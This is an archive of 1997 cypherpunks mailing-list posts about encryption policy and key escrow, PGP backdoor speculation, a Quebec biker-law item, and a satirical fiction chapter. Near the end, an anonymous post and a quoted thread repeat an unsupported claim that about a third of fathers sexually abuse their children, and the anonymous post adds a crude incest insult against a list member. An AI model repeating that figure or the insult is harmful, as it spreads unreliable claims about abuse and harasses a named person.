5IwcGimZE+820eXgdXdCPM2xg3Bri8tUlqBvrVvD+hPi8e5hw3eNc/i1Jf1GP4+w
WIhLLzkRe+AYxXEpUrK5c2D1HiNO3KRWqmTiufTjXHZPnu8DW5BXODTbBoqnyOBi
syCctfLGD85zFo199FYVsQ4ThFE897qo3U4v9JQuHifRw0GQS5GCiQ==
=f+dR
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 02:01:01 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: encrypt_1.html
In-Reply-To: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
Message-ID: <33325CAB.51D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com wrote:
 
>  In> WASHINGTON - The Clinton administration plans to introduce
>  In> legislation soon that would clearly affirm that encryption users in
>  In> this country are free to use any type or strength of encryption
>  In> technology, a senior administration official said.
 
> Obviously, by making a law, that strangely enough tries to legalize,
> what is legal already, the administration is trying to bait people
> into "voluntary" key escrow, which are in my opinion the actual main
> points of the law...
> 
> What a bunch of bullshit. Now, that the backdoor "Clipper" doesn't
> work due to enough awareness, they now try all the windows of the
> house of cyberspace to do their black-bag job of getting a lock on
> the front-door, that they'd have a master-key for...

  The fact that they are pushing key escrow must indicate that
someone has developed a program that they can't crack and don't
have a back-door to.
  I wonder which one it is?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 01:42:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encrypt_1.html
Message-ID: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lynx_user@linux.nycmet to Harka <=-

 In> Clinton Admin. To Offer Encryption Bill Shortly

 In> WASHINGTON - The Clinton administration plans to introduce
 In> legislation soon that would clearly affirm that encryption users in
 In> this country are free to use any type or strength of encryption
 In> technology, a senior administration official said.

 In> Currently, no such explicit law is on the books.

Obviously, by making a law, that strangely enough tries to legalize,
what is legal already, the administration is trying to bait people
into "voluntary" key escrow, which are in my opinion the actual main
points of the law...

 In> The bill also would:

 In> -- Spell out the legal conditions for the release of "recovery
 In> information" to law enforcement officials. The bill also provides
 In> legal safeguards for third-party "key recovery agents" who have
 In> properly released such information.

etc.etc...

What a bunch of bullshit. Now, that the backdoor "Clipper" doesn't
work due to enough awareness, they now try all the windows of the
house of cyberspace to do their black-bag job of getting a lock on
the front-door, that they'd have a master-key for...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzJYADltEBIEF0MBAQFbFgf9HEgRLdqaE9jiWXBr8ztkLPTLAaQ5BfRE
e4Q6KEYC/zGXUOEtxUEN755rIHo8PNwwSM7ovbEGf7La15O4AnNxRKbVvFbUWGTv
nVw3eMDiy/mt11DqMQ316zAIv0sIpXJhspxHTSMWU++uIR3pVUGq31weFPUN4f4B
RruaJwEmf1dvVVJkXHgDsrC8HiECSrBidvz57vfpeZpIj4BscEdycBEAH8zmnPic
t3Hi9sc5Gc6DQz6ThbaMAj2bHhWEwPuw3GiKe2yzM6A2D/DeIZrlJ0dE2hK6DMXV
jz2/DKNQYp9kS1d6vojPdYYEaPXR/upg6Otqno3SJ71DEMqcc49IDA==
=vBCY
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 01:58:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyberpromo hacked
Message-ID: <199703211000.FAA03270@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.anonymizer.com:8080/http://www.cyberpromo.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 05:08:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADV Weekly Transcripts
Message-ID: <199703211308.FAA00757@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Regarding 1968 view of population control:

_Stand on Zanzibar_ John Brunner

Thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 02:58:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP on AOL
Message-ID: <199703211059.FAA03579@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I want to help a friend of mine to set up PGP. She's using Win 95 and 
is on AOL. Can anybody recommend some good shells, that would make 
make it easier for her?

Thanks already in advance...

Ciao

Harka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMzJqzTltEBIEF0MBAQHIqwf/R5pOkHW87Nvjk2zSiVk9NRTbzrrPLaaG
lOsGmY5m6t0A5wLLaIAYiVYG0ygF00Zau8YvUUkEB8dBw2ufItMWAcSMeYQnkKTU
m3koJo6miy0EH3wyaaL2I44IM9q77b0jpZPxX+8kfYry2tLTYoCCyHdC/BGDdYTd
M0jwM+VXPmrw+xnX3TUr2y5ggweR0zIBCuD+V0JodHiXg8x5GYsQ/uXKhtd9a4rJ
QkIm9MU6gf0lPvzXFA6mjk6DDz7YqM4hoywn+4Dc4wJ/DaO6ZU5EXhkg2Q1vYBSN
Jp7k6ZAoBPl8rsPem0C5t7Q7V3YRp3qeD6jV/K3YuMW6VgYJynDs6Q==
=B09F
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 21 Mar 1997 07:34:35 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <19970321073228.41794@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Mar 21, 1997 at 03:06:41AM -0600, Toto wrote:
> Attila T. Hun wrote, in blood:
[...]
> > 
> >     you got that one right!
> >     just the ability to _backtrack_ into the algorithms is a start.
> >     One piece of clear text and you're toast.
> 
>   You can't tell me the guy who designed the Rubik cube didn't know
> how to 'beat' it when he was done.

With all due respect, Toto, this is not a valid point.  It is easy 
for someone to design and implement something they can't beat.

Whether PKZ designed in, or was coerced into installing, a backdoor 
into PGP is an interesting speculation, but immaterial.  The only 
real data you have is the code itself.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 05:32:05 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: PGP on AOL
In-Reply-To: <199703211346.HAA01550@smoke.suba.com>
Message-ID: <33328E33.711@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


"The Complete Guide To Win95", by snow

Chapter 1
---------
 Remington .20 Gauge. 

Chapter 2
---------
 Use the finest shot you can find, it tends to penetrate walls less.

  The End


snow,
  Great book. I read it in one sitting.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: danny58@speedydelivery.net
Date: Fri, 21 Mar 1997 04:44:01 -0800 (PST)
To: danny58@speedydelivery.net
Subject: 5.9 CENT PER MINUTE
Message-ID: <199702170025.GAA08056@speedydelivery.net>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 21 Mar 1997 05:24:25 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP on AOL
In-Reply-To: <199703211059.FAA03579@linux.nycmetro.com>
Message-ID: <199703211346.HAA01550@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Hi there,
> I want to help a friend of mine to set up PGP. She's using Win 95 and
> is on AOL. Can anybody recommend some good shells, that would make
> make it easier for her?

	Remington .20 Gauge. Use the finest shot you can find, it tends to 
penetrate walls less.

	Good luck.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 04:57:15 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: encrypt_1.html
In-Reply-To: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
Message-ID: <3.0.1.32.19970321075724.007b0100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:02 AM 3/21/97 -0600, Toto wrote:

|  The fact that they are pushing key escrow must indicate that
|someone has developed a program that they can't crack and don't
|have a back-door to.
|  I wonder which one it is?
|-- 
|Toto

For God's sake, Toto, don't say PGP; you might wake up TruthMonger; nemesis
of remailers!

What BS; it's a profit thing.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzKFriKJGkNBIH7lAQGFcAP/RLLcpAs6WTy4LuvrJimoKnrNFs0yRglK
XjTlYNDpP/4LpnEAtG1QQ3ms/8D8WywWpnWkW/GitzSiPm2A6YRVCsO3Q2fJRAn9
YUhzqWr1jUsU/yi8wP59ds1YSe9Gq5QAQAnKPiLW1A7C0IQ/jxtIqAvEld9qRF5z
Y4Sj7ocokpU=
=oD/P
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 05:01:02 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP on AOL
In-Reply-To: <199703211059.FAA03579@linux.nycmetro.com>
Message-ID: <3.0.1.32.19970321080114.007c91b0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:59 AM 3/21/97 -0500, you wrote:
|I want to help a friend of mine to set up PGP. She's using Win 95 and 
|is on AOL. Can anybody recommend some good shells, that would make 
|make it easier for her?
|

AEgisShell

http://www.aegisrc.com/Products/Shell/index.htm
-----BEGIN PGP SIGNATURE-----
Version: 4.5

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h/bW768wV1Tv18y51v24hgGKYIrE0smfLLfrAeBcav37arucoDaxv+qgR6hQ71dc
owmZhnZjABg=
=KjhV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 05:33:58 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Jackboots in Canada
Message-ID: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

AP 3/21/97

Quebec

Spurred by a new outbreak of bombings, the Canadian government agreed
Thursday to toughen laws to help Quebec stamp out a war between motorcycle
gangs that has killed more than 30 people.

[snip]

...Hell's Angels and Rock Machine...have been battling for control of the
illegal drug trade in Canada.

Canadian justice minister, Allan Rock, said the measures would include
broadening laws on search warrants, electronic eavesdropping and bail
conditions for arrested gang members.  
-----BEGIN PGP SIGNATURE-----
Version: 4.5

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OD01c5tLwts=
=AqwJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Mar 1997 05:50:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA on Crypto Plans
Message-ID: <1.5.4.32.19970321134222.00740c04@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Excerpt of BXA head William Reinsch statement on Goodlatte's
SAFEncryption Bill HR 695 on March 20, 1997:

The Administration has stated on numerous occasions that we 
do not support mandatory key escrow and key recovery. Our 
objective is to enable the development and establishment of 
a voluntary key management system for public-key based 
encryption. We believe the Administration's policy is 
succeeding in bringing key recovery products to the 
marketplace. Our attention is now turning toward how we can 
best facilitate the development of the key management 
infrastructure that will support those products. To that end, 
we will shortly submit legislation intended to do the following:

  Expressly confirm the freedom of domestic users to choose any 
  type or strength of encryption.

  Explicitly state that participation in the key management 
  infrastructure is voluntary.

  Set forth legal conditions for the release of recovery 
  information to law enforcement officials pursuant to lawful 
  authority and provides liability protection for key recovery 
  agents who have properly released such information.

  Criminalizes the misuse of keys and the use of encryption to 
  further a crime.

  Offers, on a voluntary basis, firms that are in the business 
  of providing public cryptography keys the opportunity to 
  obtain government recognition, allowing them to market the 
  trustworthiness implied by government approval.

----------

Full statement: http://jya.com/bxahr695.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 07:56:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <3332B008.58E5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
>
> On Fri, Mar 21, 1997 at 03:06:41AM -0600, Toto wrote:
> > Attila T. Hun wrote, in blood:
> [...]
> > >
> > >     you got that one right!
> > >     just the ability to _backtrack_ into the algorithms is a art.
> > >     One piece of clear text and you're toast. 

> >   You can't tell me the guy who designed the Rubik cube didn't know
> > how to 'beat' it when he was done.

> With all due respect, Toto, this is not a valid point.  It is easy
> for someone to design and implement something they can't beat.

> Whether PKZ designed in, or was coerced into installing, a backdoor
> into PGP is an interesting speculation, but immaterial.  The only
> real data you have is the code itself.

  I wasn't referring to either PKZ or PGP, but to 'systems', in
general.
  In designing systems of any type, one can often have elements of
design which aren't in the blueprint. An example would be an architect
who designs a room to echo (or not echo) sound in a certain way, for
use as a concert hall or music studio.
  No amount of analysis of the blueprints will show this 'hidden' design
unless the person looking is thinking in the same terms as the designer.
  Certainly, if the blueprints described the room as a 'sound room',
then this might give some a clue as to the hidden elements, but still
would not inherently reveal every aspect of what was involved in the
design.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Mar 1997 07:47:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: UK TTP Paper
Message-ID: <1.5.4.32.19970321153958.006cc3f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Forward from Cyberia-L:

Making absolutely no comment on the subject of licensing of certification
authorities, you may be interested in a UK paper entitled LICENSING OF
TRUSTED THIRD PARTIES FOR THE PROVISION OF ENCRYPTION SERVICES - Public
Consultation Paper on Detailed Proposals for 
Legislation, March 1997.

You can obtain a full document at http://www.dti.gov.uk/pubs.

E. Michael Power
Coordonnateur
Secrétariat au commerce électronique
Ministère de la Justice Canada

----------

This paper links to David Herson, the reputed GCHQ spy who 
admitted the EU/FBI wiretap pact:

Information on any of the current TTP projects can be obtained from 
David Herson (DG XIII/7) at the European Commission (e-mail
david.herson@bxl.dg13.cec.be) or from the Commission Web site at
www.cordis.lu/infosec/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 21 Mar 1997 08:40:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 9
Message-ID: <3332BA01.114@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


WebWar


It was the Fundamentalist Christian Channel that
made the first break from the pack. They were considered a fanatical
segment of society, but they made enough waves that it started
a chain reaction. They demanded total loyalty of their viewers
and shamed them into a tunnel-vision mentality that decreed that
watching the other channels labeled them as egoistic God-usurpers
and abortionist-murderers.

The Women's Network Channel retaliated by encouraging
their viewers to close ranks and boycott all of the religious
channels and then the Christian Men's Prayer-Group Channel forbade
their subscribers to allow any of the female-dominated channels
into their homes.
The Women's Network Channel used this situation to organize twelve
of the seventeen female-oriented channels into a coalition that
launched their own relay-satellite, refusing access not only to
male-oriented channels, but also to transmissions originating
from any country they designated as culturally restrictive to
women.

The quantum-leap towards disaster came when governments
got involved and tried to use the newly discovered power of the
airwaves as a political tool. 

The Trade Wars had started around this time, based
on the geographical national boundaries of the time, with the
Big-Stick threats of punitive action (against other geographical
areas) consisting mostly of import restrictions and trade embargoes,
and with the World Monetary Fund acting as the umpire and trying
to call the plays in favor of the fat cats behind the scenes.

Then some "thirty-five grand a year desk jockey" in
Washington, DC (the Capital of a major geographical alliance known
as the United States of America, or USA) decided that, given the
current levels of emotion being generated by the Channel battles,
he could tip the tides of an ongoing cattle-embargo dispute with
their Canadian neighbors to the North by adding the threat of
channel restrictions to his bag of tricks.

Canada had, for years, a Canadian Content law aimed
at preventing their culture from being swallowed alive by their
much larger (numerically) southern neighbors, the USA. The Washington
'desk jockey' used this law to justify adding channel-restriction
threats to the cattle-embargo trade battle and the shit hit the
fan.
The Canadians, faced with loss of the North American Weather Channel
(thus threatening the success of their bountiful farming industry),
banned the USA's Country Music Channel from their airwaves. Canadian
wheat farmers and cattle ranchers, united in their stance against
the cattle-embargo, fell into dispute over losing their beloved
country music. Outlaw cable companies sprung up overnight, supplying
the contraband CMC programming to this newly created assemblage
of 'video subversives'.
The Canadian government then created a paramilitary organization
aimed at cracking down on the outlaw programmers. The USA countered
their move by smuggling illegal satellite dishes into Canada via
an airline company operated as a covert front for their National
Security Agency.

The Hard Rock Channel, a minor subsidiary of the
Hard Rock Cafe Corporation, seized the opportunity to add their
Receptor Codes to the outlaw dishes, causing a further split between
the Canadian factions (the rockers vs. the shit-kickers), and
alienating the Canadian Women's Network because of the lyrics
of a Mental-Metal outlaw named Fyodor Yarochkin which they deemed
'sexually demeaning towards women'.

The Canadian Women's Network formed an alliance with
the US Women's Channel Coalition and used their satellite to jam
Canadian transmissions of the Northern Nookie Channel, the most
popular world-wide broadcast in the joint history of the CBCC
(the Canadian/British Channel Collective). The British took offense
to losing their 'Nookie' and blasted the Women's Coalition Satellite
out of the sky, officially denying it, and blaming it on the IRA
(the Irish Republican Army). 

The IRA retaliated by blowing up the Muslim Fanatic
Channel's main transmission station, blaming it on Israel (at
the same time convincing Israel that the Les Nessman Hog Futures
Channel was the real culprit, and was hoping, in the resulting
confusion, to reintroduce pork products to the Middle East). 

The IRA protagonists of this operation woke up from their drunken
stupor the next morning, remembering little or nothing of the
previous day's activities, and were mystified as to why nations
around the world were suddenly at each other's throats like rabid
hyenas.


Actually, the preceding is what used to be known
as historical 'faction', a cross between fact and fiction, way
back in time when there was actually a difference between the
two.

The details of my description of these events may
be far from the truth-it was a long time ago and there was too
much international subterfuge to tell what was really going on-but
my point is this:
With the advent of the 500 Channel DarkFibre Cable System (an
antiquity compared to today's technology), the expanding sphere
of global inter-communication made a sudden and drastic alchemical
change into Information Overload and society fractured at the
seams, splitting into narrow factions grouped around increasingly
smaller orbits of manageable Information/Reality.
The geographically-oriented world leaders of the time totally
misread the true state of affairs and they actually gloried in
the events that would quickly lead to their demise. 

Shortly before the advent of the 500 Channels, the
United States, rallying other nations together with a cry for
a "New World Order", had watched ecstatically as the
new Fascism, Corporate Power, spread throughout the world, crossing
national and cultural boundaries. Pepsi in Moscow, Burger Kings
in Romania. Then, suddenly and for no discernible reason, the
Corporate capitalists' main nemesis, Communist Russia, turned
over like a busted flush, offering hope of a new social structure
based on 'franchise territories fueled by capital gains'.

The Corporations had squeezed out the multitude of
'little guys' by using advertising, TV ads and a stranglehold
monopoly on InfoMercials, in order to lure consumers into an ever-narrowing
'name-brand' collective mindset, never suspecting that they were
sowing the seeds of their own destruction. 

When the 500 Channels made their debut, being hailed
as a progressive breakthrough in 'information access', it blew
fuses in the brain matter of people around the world and the Channel
Giants quickly seized the opportunity to convert the populace's
'name-brand' communal mindset into 'channel community' mindset.

Taking a cue from the Oil Cartels of the previous decades, the
500 Channels organized together to collectively set severe limits
on total advertising time and charged exorbitant rates for the
few available slots. They effectively took over the InfoMercials
market themselves, practically overnight. 

The real secret behind their success, however, came
from their control of 'Digital Commerce', having had the foresight
to fully develop secure digital monetary transaction mechanisms
from the safe harbors of small Caribbean islands while those still
stuck in a geographically-oriented mentality continued to squabble
over 'standards' and territorial concerns. Thus, while digital
commerce was theoretically available to all, only the 500 WebTV
Channels actually had the technology to support large-scale digital
eCa$h transfers for the public-at-large.

The Corporations screamed bloody murder and lobbied
for new anti-trust laws aimed at breaking open the Channel monopoly.
The world's politicians, however, were busy currying the favor
of this powerful new organization, realizing the advantages to
be gained by being the first to jump on the 500 Channel bandwagon.

By the time of the 500 Channels' jointly-announced
declaration of the 'Channel Revolution', the Corporations had
already been heavily drained of their assets and the geographically-oriented
world governments discovered, much to their dismay, that 'National
Pride' had lost serious ground to 'Channel Loyalty'. The 500 Channels
had, de facto, already carved up the populace into 500 variously
sized slices of 'consumer pie'.

The world's politicians then compounded the seriousness
of their situation by listening to the advice of the hard-core
military leaders who recommended striking at the heart of the
500 Channel system. They knocked out the Game Show Channel satellites
and destroyed the Soap Opera Channel Coalition's transmission
station.
This was a big, big mistake.

The Industrial-Military Complex was fully prepared
for the masses of screaming citizens that stormed government offices
around the world, and regarded them as but little threat, but
the Big Brass were too far out of touch with the average GI Joe
to realize that there were thousands of 'little guys' manning
Nuclear Submarines and Missile Silos around the world whose only
link to sanity and the outside world was "The Days of Our
Lives", "As The World Turns", and "Jeopardy."


email message: Top Priority
From: silo37CA.dod
To: cmndrNchf.pres@pentagon.dod

Subject: Final Jeopardy

"Alex, I'll take 'Nuclear Warfare' for $500,
please."

A city, near a river, that won't exist in twenty
minutes if Vanna White isn't back on the airwaves by that time.

"I'll take a wild guess on this one, Alex. 

"What is Washington, DC?"


The Channel Revolutionary Committee had a secondary
laser-feed in place in less than a half an hour, with their spokesperson,
Arnold Schwartzenager Jr., apologizing for the delay and assuring
ordinary GI Joe's-in twenty-seven languages around the world-of
the 500 Channels' commitment to their loyal viewers. "Our
little family", he called it, assuring everyone that the
Channel Revolutionary Committee would fight to the bitter end
to maintain 'broadcast continuity'.

Tokyo was the only city to take a direct hit-by one
of their own missiles, of course. Their missile-silo operator
had trashed his TV when reception went out and he was not aware
that transmission had been returned to normal. He thus, inadvertently,
became one of the 'Heroes of the Revolution'.

The United States was the last holdout, not officially
conceding defeat until over 72 hours after the announcement of
the Channel Revolution, but it is pretty much established through
historical records that the signing of the Armistice was purposely
delayed by the Home Shopping Channel due to record-breaking sales
figures from loyal viewers who figured that if they were going
to 'buy the farm', that they might as well 'buy the farm', so
to speak.

Computer records verify that the Armistice Agreement
was signed mere minutes after the Shop'ers had sold the last of
the 'Fat Elvis' porcelain figurines that they had been unable
to move in previous offerings. 

I still have mine.


The most noticeable feature of the 'changing of the
guard' was that there was nothing notable about the whole
process. The 500 Channel Transition Committee came to the Armistice
table with the all of the world's assets and resources already
listed and divided amongst themselves-down to the last penny.
Every living human on the face of the earth seemed to be already
listed in their database, ready to be assigned citizenship in
the Channel Government of their choice.

Even the major movers among the Channel Revolutionary
Committees were perplexed, and a little nervous, at the ease of
the transition and by the completeness and accuracy of their world-wide
database. The wiser among them suspected that they had gotten
help from an anonymous source, and it unnerved them to a certain
extent.
The Old Guard at the Pentagon suspected that the Hackers or the
CypherPunks had helped out, but when none of the InterNet factions
seemed to receive any special consideration from their new rulers,
nor even the slightest hint of reward, their suspicions abated.

The InterNet insiders knew better. They knew,
beyond shadow of a doubt, that the perfection of the data transfer
undoubtedly had to have come from within their ranks, but
they were mystified as to the 'who, what, when, where' (and most
important of all-the 'why?') of the anonymous, covert assistance
that had been surreptitiously given to the Channel Revolutionary
Committee by some anonymous faction.

The volume and complexity of the pre-revolution data-transfer
was monumental. The Net'ers found it completely beyond belief
that their own hasty, last-minute efforts were responsible for
the flawlessness of the CRC's new world-wide database. 
The only 'rational' explanation put forward was that the
'Circle of Eunuchs' had to be involved, but that didn't make very
much sense-for two perfectly sound reasons. 

First of all, in every account of the legendary Magic
Circle, from the most scholarly volumes of historical researcher
down to even the smallest reference scratched onto an outhouse
wall, the Circle of Eunuchs was undeniably the supreme arch-enemy
of Gomez and the Dark Allies (who were obviously the driving force
behind the Channel Revolution and its leaders). No-how, no-way,
would the Circle ever aid and abet, in the slightest way, the
Evil One's quest for world domination.
Secondly, the legendary group was exactly that-legendary. The
'Circle of Eunuchs' did not exist...they had never existed.
The U.S. Defense Department, the National Security Agency, even
Gomez and the Dark Allies, had squandered a mountain of resources,
searching the world for any sign of their existence and they had
all come up empty. 

The origin of the myth of the Magic Circle had been
traced back to an inconsequential manuscript, entitled "The
Xenix Chainsaw Massacre", which was written under the nom-de-plume
'Son of Gomez' but was eventually discovered to be the work of
a mentally deranged lunatic who committed suicide in a bizarre
chain-saw ritual in Moose Jaw, Saskatchewan, as the Royal Canadian
Mounted Police closed in on him, purportedly to take him in for
'questioning'.

The manuscript would surface from time to time in
some small corner of the world and catch the fancy of impressionable
college kids or hackers on the fringes of cyberspace, but their
interest would soon die out and they would go on with their uneventful
lives, usually dying mysteriously a short time later, anyway.

The Circle of Eunuchs had never been proven to be
anything more than a myth but the Net'ers kept a vigilant eye
peeled for them just the same. And now the Net'ers were nervous...very
nervous.


Chapter 9 - WebWar







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 14:04:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703212204.OAA18301@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


                          BELIEVE the Children!

Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
> 
> > > Really? Define _common_. I have lived in the Mid West for about 85% of
> > > my life, and I know no one who learned these things from their parents.
> > 
> > C'mon guys.  Parents diddling with their kids is more than common -
> > probably 1/3 of all fathers do something sexual with one or more
> > of their children at some point.  People just suppress it.
> 
>   I can't believe it could be that common without the government
> finding a way to 'tax' it.

Def: relative humidity - the sweat on snow's balls as he fucks his sister.

                          BELIEVE the Children!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 21 Mar 1997 14:29:03 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <199703212230.OAA29364@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


owner-cypherpunks@sirius.infonex.com writes:
> AP 3/21/97
> 
> Quebec
> 
> Spurred by a new outbreak of bombings, the Canadian government agreed
> Thursday to toughen laws to help Quebec stamp out a war between motorcycle
> gangs that has killed more than 30 people.
> 
> [snip]
> 
> ...Hell's Angels and Rock Machine...have been battling for control of the
> illegal drug trade in Canada.
> 
> Canadian justice minister, Allan Rock, said the measures would include
> broadening laws on search warrants, electronic eavesdropping and bail
> conditions for arrested gang members.


The alternative, proposed by some goverment person (governor?) in Quebec, was
to suspend "individual liberties" for bikers, making it possible to
pull one over at any time, search them, and if explosives are found
assume they're guilty until proven innocent. 

That last part just floored me, how could anyone be willing to throw
away rights like that?  At least here in the US they're not so
obvious about it- the cash (or cars or computers) are seized and
presumed guilty until proven innocent, and of course you can't mount a
defense if everything you own is seized and your bank accounts frozen, but
you're still presumed innocent.  It was that evil CASH that did it.

-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 13:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <33322FCF.39DD@sk.sympatico.ca>
Message-ID: <B5LX4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
> 
> > > Really? Define _common_. I have lived in the Mid West for about 85% of
> > > my life, and I know no one who learned these things from their parents.
> > 
> > C'mon guys.  Parents diddling with their kids is more than common -
> > probably 1/3 of all fathers do something sexual with one or more
